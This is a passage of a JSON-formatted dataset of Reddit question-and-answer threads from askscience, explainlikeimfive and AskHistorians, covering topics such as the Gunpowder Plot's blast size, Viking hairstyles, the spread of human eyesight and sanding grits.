 Though seeing an especially bad case every once and a while might make you feel bad, it really doesn't affect their lives in a meaningful way, as it doesn't hinder foraging or flight, just ground movement.", "I saw so many pigeons like this when I lived in Chicago. Some with only one toe on a foot and some had mere gangrenous looking stumps. Depressed the shit outta me. I assumed it was from injuries and/or infections.", "In addition to the above, nature also isn't perfect. Considering they have other ways of getting around, being born missing a leg probably isn't the end of the world for them."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "9uj3zn", "title": "The Gunpowder Plot involved 36 barrels of gunpowder in an undercroft below the House of Lords. Just how big an explosion would 36 barrels of 1605 gunpowder have created, had they gone off?", "selftext": "I\u2019m curious if such a blast would have successfully destroyed the House of Lords as planned, or been insufficient, or been gross overkill. ", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/9uj3zn/the_gunpowder_plot_involved_36_barrels_of/", "answers": {"a_id": ["e94o853", "e94twm4", "e94vast", "e94wsm3", "e95aayo", "e95bjki", "e95bjq5", "e95dlqd", "e95euon", "e95u0iz", "e965kpk"], "score": [7817, 198, 211, 1901, 38, 58, 30, 187, 60, 6, 2], "text": ["The University of Wales's Centre for Explosion Studies, in research commissioned by the Institute of Physics, \"estimate that severe structural damage would have been sustained by buildings up to half a kilometre away,\" razing everything within 40 metres, and destroying Westminster Abbey.\n\n[Here's a New Scientist article.](_URL_0_)\n\nThe author notes amongst other things that they assumed for this calculation an equal amount of TNT, a more powerful but better studied explosive. They justify this increase in explosive yield with Fawkes' expertise as someone well versed in the use of explosives for military purposes, though it's not clear how much of a difference it would make. [Wikipedia](_URL_1_) lists the relative effectiveness of black powder as half that of TNT.\n", "Black powder is a low explosive, which means I deflagrates rather the detonates.   What that means in lames terms is explosives are measured in how fast they burn, which is what a conventional explosive does, just at a very rapid speed. So as a low explosive black powder in and of itself is not very destructive when compared to a high explosive. What makes black powder effective is containing it. Contain it in a barrel and it will propel a projectile. Contain it in a pipe and it becomes a mechanical explosion causing damage by way of the pipe breaking at great velocity do to build up in pressure (think coke bottle shaken then tossed up in the air). Because it\u2019s a low brisance (ability to cut) it\u2019s not very effective at damaging hardened structures. The main way it would be effective is if it was able to build up enough pressure in the tunnel or building that it was placed it. And other factors like the building materials, amount of earth it was under etc would all factor in. With that, the quality of black powder and amount of moisture as well. There are instances of huge black powder explosions, and instances of not so huge. There would have to be some real study and testing done to say for sure, but what I can promise is that there is no chance it would have gone unnoticed. I hope that answers a least part of the question. I will clarify where I can, if you have questions. ", "Sidney Alford, a well respected expert in explosives, recreated the plot based on historical data. Here's the video:\n\n_URL_0_\n\nIt's an hour long so if you want to see the explosion skip to [50:00](_URL_1_)", "I\u2019m honestly ~~surprised~~ blown away this hasn\u2019t been posted yet but they attempted to recreate this scenario on an English program in ~~2017~~. [check it out here, it\u2019s a HUGE explosion.](_URL_0_) Cant answer any questions about physics, but I hope the video gives you what you are looking for. \n\n*edit: skip to ~49 min in to see the explosion. Also Richard Hammond from Top Gear is in it. \n\nNot 2017, made in 2005 apparently. You all are right, Hammond looks way too young for this to be last year. ", "Adding on to the discussion, a BBC production featuring renowned scientist Richard Hammond (/s) actually demonstrated the effect of igniting that amount of gunpowder would have on the style of building and the inhabitants inside. [Link](_URL_0_)\n\n & #x200B;\n\nBrilliant show, but I always found it very sobering", "There\u2019s an old(ish) documentary piece from British television called \u201cThe Gunpowder Plot; Exploring the Legend\u201d presented by The Grand Tour\u2019s Richard Hammond.\n\nIt tries to get close to what the actual explosion would have been like with some kind of version of the explosion\n\n_URL_0_", "Richard the hamster Hammond did an expereiment to find out. They built a replica of the House of Lords on a remote military facility. The 'cellar' was in fact an undercroft with 9 foot thick mediaeval walls so much of the blast was directed straight upwards.", "It would have easily destroyed parliament.\n\nThe BBC reproduced it on a show a few years back in show called \"The Gunpowder Plot - Exploding the Legend\"\n\nThe short video link...\n\n_URL_0_\n\nThe full show...\n\n_URL_1_\n\nBasically it would have leveled a 40/50 metre area around parliament and send debris up to a few kilometers away.", "Richard Hammond did a documentary on this a while back. Really interesting stuff. They ended up reconstructing what the Houses of Parliament were like back then, planting the gunpowder underneath, and blowing it up. There was nothing left.\n\nCheck it out:\n_URL_0_", "bbc and \"hammond the hampster\" already did the empirical.  \n\n\nfull show\n\n[_URL_1_](_URL_1_)  \n\n\nand for those of a short fuse just the interesting bit  \n\n\n[_URL_2_](_URL_0_)", "One of the guys from Top Gear has a video on You tube showing what a portion of that explosive charge would do to a building...I don't have a link to offer but you can probably search for it.\n\nIt's rather \"impressive\". The house of lords would have been seriously damaged if not destroyed.\n\nedit >  This *may* be the video I watched: _URL_0_"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.newscientist.com/article/dn4338-gunpowder-plot-would-have-devastated-london/", "https://en.wikipedia.org/wiki/TNT_equivalent"], [], ["https://www.youtube.com/watch?v=XTwbkYYdZBw", "https://youtu.be/XTwbkYYdZBw?t=3000"], ["https://youtu.be/XTwbkYYdZBw"], ["https://youtu.be/_rEvCf0dH9I?t=50"], ["https://youtu.be/XTwbkYYdZBw"], [], ["https://www.youtube.com/watch?v=_rEvCf0dH9I", "https://www.youtube.com/watch?v=XTwbkYYdZBw"], ["https://youtu.be/2jCZtvbFv7A"], ["https://www.youtube.com/watch?v=_rEvCf0dH9I", "https://www.youtube.com/watch?v=2jCZtvbFv7A", "https://www.youtube.com/watch?v=\\_rEvCf0dH9I"], ["https://www.youtube.com/watch?v=2jCZtvbFv7A"]]}
{"q_id": "a32999", "title": "why does everything that has mass attracts other things that also have mass? and how?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/a32999/eli5_why_does_everything_that_has_mass_attracts/", "answers": {"a_id": ["eb2r82v", "eb2rxen", "eb2syag"], "score": [12, 8, 3], "text": ["We don't actually know why, or really how. We know that gravity is that attractive force and it effects everything with mass, but there are huge chunks of physics dedicated to figuring out how/why. The whole Higgs Boson thing, and the enormous particle collider, was to try to figure out more about how mass comes into existence.\n\nSo we don't know, but are working on it.", "This doesn't even have an ELIPhD right now. We know a lot about *how* gravity works on a functional level; we can predict it extremely accurately on scales both everyday and extraterrestrial.\n\nBut we don't have a lot of information about *why* it does what it does.\n\nEvery other fundamental force that exists we can find as a wave of some sort, but gravity waves are really hard to find; we only just observed some a few years back after observing a pretty massive supernova.\n\nYours is one of the questions that some of the top minds in modern physics are trying to answer.", "One accepted idea is Einstein's theory of mass bending space-time which makes objects \"fall\" into the \"dimple\" mass makes in space-time.\n\nBut how it bends it - if it indeed bends it - is still a mystery. As is what the \"stuff\" of space-time that's being bent is made of. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "anl4cw", "title": "Did Vikings actually wear braids in their hair?", "selftext": "Every once in a while I see people discussing Viking braids on the Internet. Some people even recreate the styles on their own hair, but I haven\u2019t found much evidence that they actually braided their hair.  Did they?", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/anl4cw/did_vikings_actually_wear_braids_in_their_hair/", "answers": {"a_id": ["efuefaz"], "score": [7], "text": ["The following threads and comments posted in this subreddit may help:  \n\n* The comments of /u/lokout in [Were beards really all that important to Viking Age Scandinavians?](_URL_0_)\n* The comments of /u/vonadler in [Is the History Channel's \"Vikings\" accurate with regards to hairstyles?](_URL_3_)\n*  The comments of /u/isa_rin_rin_rin and /u/cnzmur on Tacicus and Bog Bodies in [How did Germanic / Viking hairstyles look like?](_URL_5_) \n\n & nbsp;\n\nthese comments and mentioned sources in the comments suggest that:  \n\n* Some of the male Scandinavians (at least the people in now Schleswig-Holstein) already practiced braids as Tacitus described ca. 2000 years ago, but we don't have enough indigenous sources concerning the contunuing trend of this hair style during the Viking Age itself. \n* The practice of braided or middle to long beards can be confirmed in the primary sources, so they could at least braid the beard.  \n\n***  \n\nI also just make a brief notice.\n\nThe oldest historical Scandinavian who certainly had braided his beard is also AFAIK King Svein Forkbeard (d. 1013) of Denmark mentioned by /u/vonadler in the second thread above, and his nickname must date back at least to the end of the 12th century in historical writings like  *A Synoptic History of the Kings of Norway* (ca. 1190: *\u00c1grip af N\u00f3regskonungas\u00f6gum*) (Chap. 20: Driscoll (ed.) 2008: 32), and *A Short History* by Danish author, Sven Aggesen (ca. 1190: *Brevis historia*)(*Scriptores minores histori\u00e6 Danic\u00e6 medii \u00e6vi*, i: 118f.). The latter's vernacular use of 'tygheskeg/ tiugeskeg' suggests, however, that the nickname itself had been known in Old Danish/ Old Norse before.  \n\n & nbsp;  \n\nAs for the long beard style in Viking Age iconographic sources, Gotland picture stones are probably the only ones: \n\n* [Tj\u00e4ngvide picture stone (G 110: 10th century? )](_URL_2_)\n* [Stora Hammars Stone I](_URL_1_)\n\n & nbsp;\n\nReferences:  \n\n* [Driscoll, Matthew J. \\(ed.  &  trans.\\). *\u00c1grip af N\u00f3regskonungas\u00f6gum: A Twelfth-Century Synoptic History of the Kings of Norway.* 2nd ed. London: Viking Society for Northern Research, UCL, 2008.](_URL_4_) \n* [Gertz, M. Cl. \\(ed.\\). *Scriptores minores histori\u00e6 Danic\u00e6 medii \u00e6vi*, i. Copenhagen, 1918.](_URL_6_)   \n\n* [Edited]: fixs mistakes in the format of the link.  \n* [Edited 2]: fixes typo. \n \n\n  \n\n\n\n\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.reddit.com/r/AskHistorians/comments/22peog/were_beards_really_all_that_important_to_viking/", "http://kmb.raa.se/cocoon/bild/show-image.html?id=16000300017733", "http://www.runesdb.eu/find-list/d/im/q/r/r/1~2/6/f/4975/p/66/c/1aaf4c734ea028036dcc9ee0bd3a35e3/", "https://www.reddit.com/r/AskHistorians/comments/2l4x34/is_the_history_channels_vikings_accurate_with/", "http://www.vsnrweb-publications.org.uk/Text%20Series/Agrip.pdf", "https://www.reddit.com/r/AskHistorians/comments/5tgg4d/how_did_germanic_viking_hairstyles_look_like/", "https://archive.org/details/scriptoresminore01gert/page/118"]]}
{"q_id": "aqch65", "title": "what is public criminology?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/aqch65/eli5_what_is_public_criminology/", "answers": {"a_id": ["egf94ub"], "score": [2], "text": ["Two ways to look at it:\n\n & #x200B;\n\n1) Practices to help inform the public of why you're attempting to push x,y,z policies so they understand how they'll benefit the public in the long rung.\n\n2) Practices to spin law enforcement's practices in a better light so you have less push-back from the public for your idiotic ideas and authoritarian policies.\n\n & #x200B;\n\nEither way: PR for criminologists. \n\n & #x200B;\n\n & #x200B;\n\n & #x200B;"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "31b0js", "title": "Were scythes or sickles ever used effectively in combat, or has the idea just been a popular dramatization?", "selftext": "Let me first clarify that I do not mean to include the \"War Scythe\" version with the rotated blade that was adapted specifically for combat.\n\nI've seen scythes and sickles used as weapons in popular video games, and a few movies, but did anyone, from ANY time period, actually use these tools effectively as weapons?", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/31b0js/were_scythes_or_sickles_ever_used_effectively_in/", "answers": {"a_id": ["cpzxlwg", "cpzyiii", "cpzz7dj", "cpzzmrt", "cq0gztl", "cq0pnys"], "score": [201, 10, 28, 60, 4, 4], "text": ["To some extent, yes.  In the late eighteenth century, Polish revolutionary Tadeusz Ko\u015bciuszko organized a peasant corps called the \"Kosynierzy,\" roughly translated as \"the Scythers.\"  Due to shortage of war material, they were armed with modified scythes.  For the most part, they were utilized as a kind of peace-keeping militia.  However, they also participated in battle as auxiliary units during the 1794 insurrection against Catherine II's (of Russia) Second Partition of Poland.  That said, practically, they were of secondary military importance to regular armed troops.  Psychologically, their organization sought to create a powerful vision of a more egalitarian, equal, enlightened Polish state in which peasants self-identified as citizens, not just a toiling underclass.\n\nMariusz Markiewicz, Historia Polski, 1492\u20131795 (Krak\u00f3w: Wydawnictwo Literackie, 2002); Jerzy Topolski,  Polska w Czasach Nowo\u017cytynych (1501-1795) (Pozna\u0144: Wydawnictwo Naukowe Uniwersytetu Adama Mickiewicza, 1999); W\u0142odzimierz Suleja, Kosynierzy i strzelcy: rzecz o irredencie, (Wroc\u0142aw: Wydawnictwo Dolno\u015bl\u0105skie, 1997)\n\nEDIT: Specific dates, punctuation, bibliography, obsessive-compulsive stylistic corrections.", "Falxes, a weapon of Dacian origin, are often described as being scythe-like and are probably the closest you might be able to find. It does not curve as far forward as the kind you generally see in videogames etc (I assume you mean more close the classic grim reaper design). It apparently was effective enough that legionaries modified their armor during the Dacian wars to help prevent the falx from being able to circumvent their shield and hit their helmet, upper body, etc. There are a number of pole arms (namely bills) that are similar in concept, but differ in design from the classic because of the length of the forward curve relative to the length of the blade itself. Their usage tend to be more similar to classic spears with a cutting edge.\n\nSickles seem to have a few examples in use in Japan and the far east. Note the Kama. _URL_0_\n\nI'm sure there are plenty more examples.", "Okinawan MA trains in the sickle.\n\nPeasants forbidden to own formal weapons made their own fighting forms w/ what they had lying around: Tonfa, Sickle, etc.\n\nAlso bladed weapons work best in certain environments, in others not so well.\n\nFor e.g. Guhrkas specialize in the Kukri, which is very, very short. Yet in the dark, close quarters, in the jungle, very advantageous. Even against longer samurai swords like happened in Burma.", "The Classical Romans under Trajan really came a cropper of the Dacian Falx which was a modified scythe ('Flax represents the Latin word for scythe or sickle' A. D. Alexandrescu, in Dacia 1980). It was so effective that it was one of the rare occasions the Roman army was forced to modify their armor on campaign to include thicker armor for their arms as they Dacians were so effective at using the hooked blade of the Falx to get around the roman shields and take out limbs with it. In comparison, even the Parthian's iconic arrow barrages were of little concerns as Trajan now had \u2018experienced soldiers who were not afraid by the enemy\u2019s arrows after facing the horrific wounds made by the curved swords (falces) of the Dacians' (Marcus Corneli Frontonis)\n\n\n\nThe weapon is still viewed as a cultural icon and source for nationalistic pride in Romania, the site of the ancient Dacian homeland: check out these amazing images of the weapon and of monuments dedicated here: _URL_0_ \n\n\n\n\nAnd I would recomend this article that covers how this and other similar Dacian weapons evolved and had such a impact in their disputes with Rome: _URL_2_\n\n\nEdit: here's another interesting source; Tried finding some good videos of it featured in the new Total War Rome series but they got nerfed on all accounts (poor form Sega) but in looking for it found a apt and interesting video that covers exactly how fierce this weapon was:  _URL_1_", "Speaking of using farm implements in battle- I could think of a more recent event involving a plow coulter; I present to you, the Honey War.\n\n_URL_0_\n\nAccording to one description about the Iowans:[4]\nin the ranks were to be found men armed with blunderbusses, flintlocks, and quaint old ancestral swords that had probably adorned the walls for many generations. One private carried a plow coulter over his shoulder by means of a log chain, another had an old-fashioned sausage stuffer for a weapon, while a third shouldered a sheet iron sword about six feet long.", "A Khopesh is a related, albeit distantly, weapon to the Falx  &  Sickle as well.  It derives from a far older era and fell out of common use in North African and Middle Eastern countries before 1,000 BCE.  It is a crescent bladed sickle-sword that excels at disarming and stabbing in close quarters.\n\nThis is an iconic weapon of the Ancient Egyptians.  "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://en.wikipedia.org/wiki/Kama_(weapon)"], [], ["http://www.tumblr.com/search/dacian%20falx", "https://www.youtube.com/watch?v=IB8EHonhovg", "http://www.academia.edu/1143674/Thracian_sica_and_Dacian_falx._The_history_of_a_national_weapon"], ["http://en.wikipedia.org/wiki/Honey_War#The_.22War.22"], []]}
{"q_id": "to17r", "title": "Is there a way to determine the breed of a pet? For example, a reliable DNA test?", "selftext": "I'm new to posting, so please forgive me if this is the wrong forum for my question:\n\nI have an adopted cat. My vets and people from pet specialty shops have always said he looks like a certain breed but they can't put their finger on it. He has very distinctive features. Today I read a link on Fark to an article on The Mother Nature Network about the most expensive dogs and cats. One of the entries looks exactly like him and after researching further, everything described fits him to a T. But this is an extremely rare breed in the US, and worth lots of money. I would never sell him, for any cost. But I am curious. I have looked up genetics and DNA testing for pets, but the results are either \"yes, for the low price of $xx we can tell you everything!!\" or \" that's complete BS and a waste of money.\" So, AskScience, is it possible to determine the breed of an animal from a DNA test?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/to17r/is_there_a_way_to_determine_the_breed_of_a_pet/", "answers": {"a_id": ["c4o8vy4", "c4oabkh"], "score": [2, 2], "text": ["There is a fully sequenced domestic cat (Felis catus) genome available from an Abyssinian breed (links below), but I don't know any more about how genetically different breeds within this species are. I would presume that there could be a genetic marker that could be used to identify a breed if you compared the genomes of different breeds, but given that only one cat genome seems to be published it is not likely that they have been identified.\n\n_URL_1_ \n\n_URL_0_ \n", "[Feline DNA profiling](_URL_0_) tests only prove parentage and accuracy of registries among other things, but it doesn't identify breeds. It specifically states so in the [DNA Profile page](_URL_0__dna_profile)"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["www.sciencedaily.com/releases/2007/10/071031172826.htm", "www.ncbi.nlm.nih.gov/pmc/articles/PMC2045150/?tool=pmcentrez"], ["http://www.animalsdna.com/web/page/feline", "http://www.animalsdna.com/web/page/feline_dna_profile"]]}
{"q_id": "1nwktv", "title": "Does Human eyesight lie on a bell curve or can all people see equally well unless defective?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1nwktv/does_human_eyesight_lie_on_a_bell_curve_or_can/", "answers": {"a_id": ["ccmq4v3", "ccmqy2q", "ccmro24", "ccms1gg", "ccms51m", "ccmsj6b", "ccmsqy9", "ccmvxf8", "ccn506n", "ccn6504"], "score": [795, 15, 6, 21, 3, 8, 7, 2, 3, 3], "text": ["I assume that by mentioning the \"bell curve\" you mean to ask if normal visual acuity is spread around the mean. The answer if \"yes\", of course, and not just for biological, but even for common sense reasons. All real macroscopic non-quantal objects and phenomena would have some \"noise\", some spread about their properties and measurements. Vision is no different. From this point of view it surely does have a \"bell curve\", or at least spread of some sorts. It won't necessarily be normal though. Also it won't be only about the acuity, but also about, say, color vision (see [color blindness](_URL_2_)).\n\nAt the same time your question is probably rooted in an interesting phenomenon: humans are highly visual animals; we rely on vision _a lot_, and therefore in our history as a species we had some tremendous selective pressure for retaining good vision, for not losing it. As a result of that, the spread, the width of this \"bell curve\" for normal vision is much more narrow than for other senses. If Bob has only 10% of visual acuity that Jill has, and Jill has normal vision, Bob would definitely be considered legally blind. But if Bob has 10% of the sense of smell that Jill possesses, then most probably both Jill and Bob are normal. Bob can be a 100 times poorer sniffer than Jill, and still both will be normal, as individual olfactory sensitivity in humans is extremely variable ([sample ref](_URL_3_)). Because humans generally do not care about olfaction that much. The selective pressure in the past wasn't nearly as strong as for vision.\n\nEDIT: For hearing: \"[Normal hearing ranges from 0 to 20 dB in all frequencies](_URL_1_)\". It means that Bob can hear 10 times more poorly than Jill (exactly ~~10~~ 20 dB difference), and still fall within the norm. But if Bob hears 100 times more poorly than Jill, he'll be diagnosed with a case of hearing loss, while for the sense of smell, again, 100 times difference is nothing. Different senses have different priorities for different species, and for humans it's vision  >  hearing  >  >  olfaction. For a mouse, for example, it would be olfaction  >  hearing  >  >  vision.\n\nEdit2: Some confusion with decibels.\n\nEdit3: As it was noted in the comments below, some people use the \"bell curve\" as a synonym for the normal, or Gaussian distribution. In which case obviously the answer to OP's question is \"no, it's not normal\", because vision can not be negative, while the gaussian is defined everywhere on the \\[-inf +inf\\] axis. The narrow area around the mode can always be approximated with a normal distribution, but based on [this plot](_URL_0_) that  /u/rescind had unearthed, even with \"defective\" cases discarded, the distribution becomes asymmetric and heavily non-normal pretty quickly.", "And a further follow up - can we apply this to nighttime vision too? I ask because I appear to be able to see better in the dark than my partner can - for example, I can spot stars that he would never have a hope of seeing - though I do have some sort of 'interference' at night.", "Maybe this will help clarify night vision. \n\nRadiologists will read \"film\" or monitors calibrated from 0.10 OD to 3.00 OD (Or higher). An OD of 3.00 means that only 1/10^3 amount of light will pass through the medium making it dark. On the other hand an OD of 0.10 allows almost all light through making it light. \n\nHumans see best around 0.10-1.50 OD. A linear Look up table (LUT)(how densitometers 'see') is tough to differentiate for humans to see at the darker end, so it is often converted to a visual LUT which moves the curve lighter. Because it important for radiologists to be able to spot abnormalities in an image most diagnostic analysis is in the lighter parts of the image. \n\nThere is also the color space (L*a*b) involved even in B & W images. Some tend towards blue or purple or even red and this needs to tuned as well so it is easier to read for hours on end in a dark room.", "Eye doctor here (note- not a vision researcher- an important distinction.)\n\nTo answer your question, it depends on if you are talking about vision with or without correction (ie glasses).  If you mean without glasses, then I think it would be reasonable to say that vision is spread over a range similar to a bell-curve.\n\nBUT- if you mean with correction then people should all be able to see roughly equally, unless defective.  For example, someone who is highly nearsighted or highly farsighted would have vision in the \"legally blind\" range without glasses.  However, they would not actually be considered legally blind, since their vision should correct to 20/20 with their glasses.\n\nThere is still SOME variation in vision even with correction, but overall in the absence of disease, the vast majority of people are able to achieve close to 20/20 vision.\n\nIt also depends on whether you consider astigmatism to be a \"defect.\"  People with high astigmatism can have difficulty achieving 20/20 vision even with correction.  Astigmatism is not a disease; it is simply the shape of the surface of the eye.", "A lot of people have answered this question, but I want to point something out: populations are not necessarily distributed normally (i.e., in a bell curve). This is a misconception about the Central Limit Theorem; the their actually states that the mean of a random sample from any distribution is itself a Gaussian random variable, regardless of the population distribution. ", "strictly speaking, no, a normal distribution doesn't make sense for human acuity (the typical measure of 'eyesight'). this is partly because there's a sure minimum, set by the spacing of receptors in the central retina - it's not physiologically possible to have acuity better than about 20/10. since the 'normal' mean is set (by convention) to 20/20, and since many people have less than ideal acuity while not being in any sense blind (e.g. i get around just fine without my glasses, though then my acuity is more like 20/150), the distribution over normal people (with correctable refractive error) will be very positively skewed.\n\nso rather than a bell curve, the acuity distribution probably looks more like a [Rayleigh distribution] (_URL_0_) or something similar; hard minimum value with a long positive tail.", "It depends on what you mean by \"see equally well\" and \"defective.\" You probably mean visual acuity, but you can also plot \"bell curves\" pertaining to visual field, color vision, and stereopsis.\n\nPerhaps the most important distinction is between vision problems that **can** be corrected, and those that **can't**.\n\nAs an optometrist I spend all day correcting acuity with optical aids. I don't consider eyesight \"defective\" unless I can't find a combination of optics that corrects the eyesight to 20/15 or better. Adjusting for optical problems like nearsightedness or astigmatism, the \"curve\" of human visual acuity is a *spike* peaking about 20/10 or 20/8.\n\nOn one side of the spike, the curve drops off steeply, limited by the density of human photoreceptor fields. On the other side, in the direction of poorer vision, the curve slopes asymptotically. Limitations of \"best corrected visual acuity\" include media defects (scars, cataracts, vitreous opacities), developmental problems like amblyopia, toxic neuropathy, metabolic disorders, degenerations like MS. \n\nAs a working rule-of-thumb I expect healthy young adults to correct to 20/15 resolution or better.  If not, I look for \"defects\" to explain the shortfall, and I presume there is such a defect even if I can't find it. \n\nAs someone said, vision problems that **can** be corrected are pretty rare in some populations. Well, one problem, presbyopia, is universal, starting about age 40. Another problem, nearsightedness, shows signs of social and natural selection in different populations; the more literate your culture, and the longer its life expectancy, the higher the prevalence of nearsightedness. It should be pointed out that nearsightedness usually develops in youth, and though these individuals can't see well far off, they are forced into close-up occupations, and then their near vision is preserved for the after-40 years when nobody else can see up close. Nearsightedness is nature's reading glasses.\n\nMost people are born a little farsighted (a mysterious kurtotic spike, rather than a bell curve). Some populations, like Hispanics, are a little more prone to astigmatism. But in general, the two big correctable \"defects\" are presbyopia and myopia. The latter is nature's attempt to correct for the former.\n\n", "As an optometry student, I just learned about a lot of this today in class. If you're just talking about refractive error which is just how clearly one sees there are different categories: myopia, hyperopia an emmetropia. Myopes are nearsighted, so they have a significant amount of blur in the distance, especially high myopes. Hyperopes are far sighted, but a lot of the times they can see perfectly clear up close as well due to accommodation. Emmetropes have no refractive error at all. The bell curve you would be talking about here peaks at +0.50, which is slight hyperopia, the peak greatly decreases going to the right or left of this. \n\nWhen talking about color deficiency, most congenital problems are males and they make up 8% of the male population. Females only make up 0.5% of their population congenitally. This is due to the fact that color deficiency is a sex linked trait present on the X chromosome, meaning that when a male has their Y chromosome and the x that is affected there will be much more prevalence than a female with two separate x chromosomes where one might have it and the other does not. ", "Your questions are not well served by some high scoring comments including \"Eye doctor here.\"\n\nHow do I know?  In a former life, I was a research scientist working on the electrical properties of the human visual pathway.  My work was focused on genetic retinopathies, degenerations and dystrophies.  I also worked on drug study side effects, diabetic retinopathy, macular degeneration, and a host of other visual conditions.\n\nI can report that people with only moderate differences in rod and cone responsiveness to calibrated photonic inputs responded essentially equally in controlled color vision (scotopic) and night vision (photopic) discrimination examinations.\n\n(Psst:  Each of those terms are well defined and deliberately used.) \n\nNow, that does even address the psycho physical nature of visual stimulation and its timing?  No,  and that's a huge deal.\n\nSo I'll ask you:\n\n * What is eyesight?\n * What factors are included in a bell shaped curve?\n * What do you mean by \"all people\"?\n * What is \"defective\"?\n\nYou might have guessed:  I think this is a wonderful topic.  Keep digging into human perception.\n\nEdit:  Bullet formatting\n\n", "As someone with really bad vision(20/750...if I remember the eye doctor right) I would like to add that I don't see my vision as defective. My eyes see things in focus at a 7x magnification. This makes it easy to read fine print, fix mite sized clockworks, and is a really handy function of my sight. So I see myself as just different and not defective. Still sucks that a stop sign can only be read from about two feet away...:)"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://eyeworld.org/images/New_Articles/2012/06/67_b.jpg", "http://www.earinfo.com/how-to-read-a-hearing-aid-test/", "http://en.wikipedia.org/wiki/Color_blindness", "http://www.ncbi.nlm.nih.gov/pubmed/23046643"], [], [], [], [], ["http://en.wikipedia.org/wiki/Rayleigh_distribution"], [], [], [], []]}
{"q_id": "9x6iow", "title": "when polishing or sanding why do you start from corse and work down to fine?", "selftext": "I've watched a few videos where people are making something extremely smooth or shinny and notices they always change sandpaper grit and I started to wonder why is this needed. Can't you just use a fine grit for the whole process? ", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/9x6iow/eli5_when_polishing_or_sanding_why_do_you_start/", "answers": {"a_id": ["e9pxb32", "e9pxbb6", "e9pxeqk", "e9q14bh", "e9q9k1d", "e9qd79k"], "score": [20, 17, 3, 14, 2, 3], "text": ["Your working out the deepest scratches as quickly as possible. If you start with a grit more fine than the deepest scratch it will take longer to remove the metal down to the depth you need.", "You could but it would take much longer. The grit roughly equals the amount of the object removed by sanding. Very fine paper polishes the surface but would take much, much longer and more effort to get it into a finished state. \n\nExample,  rough sandpaper is like, say, cutting six inches off a board at a time. Super fine sand Paper is cutting a tenth of a inch at a time instead. Roughly speaking in this example. ", "You could, it would take you three times as long. Say you've got an untreated section of wood you're trying to smooth out, if you start with a lower grit, you can get most of the \"grunt work\" done, and by that I mean the places that require heavy sanding. After thats done and you've got the general shape or design you were looking for, or prehaps you've removed the more rough areas of the object, you can then start using higher grit. Higher grit allows you to smooth the surface out without removing too much material, and as you move on and use higher and higher grit, your surface will become smoother. Higher grit simply allows you to make the rougher texture you get from lower grit more fine, giving you a much nicer finish. ", "Getting eaten by lions is faster than getting eaten by ants. But lions will miss the little bits of meat, which is where the ants come in.", "Yes, you can. 2 issues, it takes longer, and the tool (sandpaper or whatever) wears out. So is definitely not the economical choice. But if you have wide supply of the fine grit only, and a LOTS of time, there's no reason you couldn't do it anyway.", "Imagine if you had a giant ball of cheese that was super spikey.  Like there were points of cheese sticking out in every direction of different sizes.  You decide you want to make the cheese ball perfectly round but you can only use your teeth.  You\u2019d start by taking huge bites from the biggest pieces sticking out.  But as you got closer to the round shape you\u2019d take smaller and smaller bites into at the end you\u2019d just be barely nibbling.   Changing sand paper grit to fine is like taking smaller bites.  Sand paper leaves scratches just like you would leave bite marks but if you make them small enough no one will be able to see or feel it.  "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], []]}
{"q_id": "annf1i", "title": "does smoking the glucose in marijuana count as sugar intake for the sake of diabetes?", "selftext": "I'm not sure where this question should go but it crossed my mind earlier. Is there enough glucose to affect your blood sugar? Does it all burn up and become something completely different? Am I completely off base and rambling nonsense? Find out next time on Dragonball Z!", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/annf1i/eli5_does_smoking_the_glucose_in_marijuana_count/", "answers": {"a_id": ["efus26i", "efuudjn"], "score": [3, 2], "text": ["Sugar is made up of\u00a0carbon, hydrogen and\u00a0oxygen atoms. In each molecule of table sugar there are: 12 carbon atoms, 22 hydrogen atoms, and 11 oxygen atoms.\nSo when burnt it turns into carbon, like in a chimney.", "I don't think it's possible to objectively answer your question without doing some experiments. \n\n1. Does glucose survive the smoking process or is it \"burned\"? Is glucose measured in the smoke?\n\n2. Would glucose inhaled in smoke pass through the lungs and directly into the blood stream? \n\nThe answer to both of those questions would need to be yes, in order for it to affect your sugar intake. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "14rcl6", "title": "Would two solids cooled to absolute zero be able to be pushed through each other?", "selftext": "Since when an object is cooled to absolute zero to my knowledge all of its movement stops, wouldn't that mean that because atoms are made of mostly empty space that one \"solid\" object cooled to to absolute zero could pass through another object at absolute zero?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/14rcl6/would_two_solids_cooled_to_absolute_zero_be_able/", "answers": {"a_id": ["c7fpzza", "c7fqnos", "c7fqw0h", "c7fuljk", "c7fvtwe", "c7fwtub", "c7fydx4"], "score": [47, 6, 14, 2, 5, 2, 4], "text": ["Nope. \n\nThe electrons still move, even at absolute zero, due to quantum mechanical stuff, and the pauli exclusion principle.\n\nPlus, you can't really get all the way to absolute zero.  you can get damn close, but not quite there...\n\n[This explains it](_URL_0_).\n\nEDIT: linked to original source of video on youtube.\n", "Additionally, absolute zero is just a state with minimum entropy, at which the lattice has zero thermal potential, (there are no possible changes to the lattice which lower the potential energy). So the inclusion of the relative velocity and their subsequent impact kind of destroys the notion* of a perfect crystal orientation.", "being at absolute zero does not remove electromagnetic interaction and 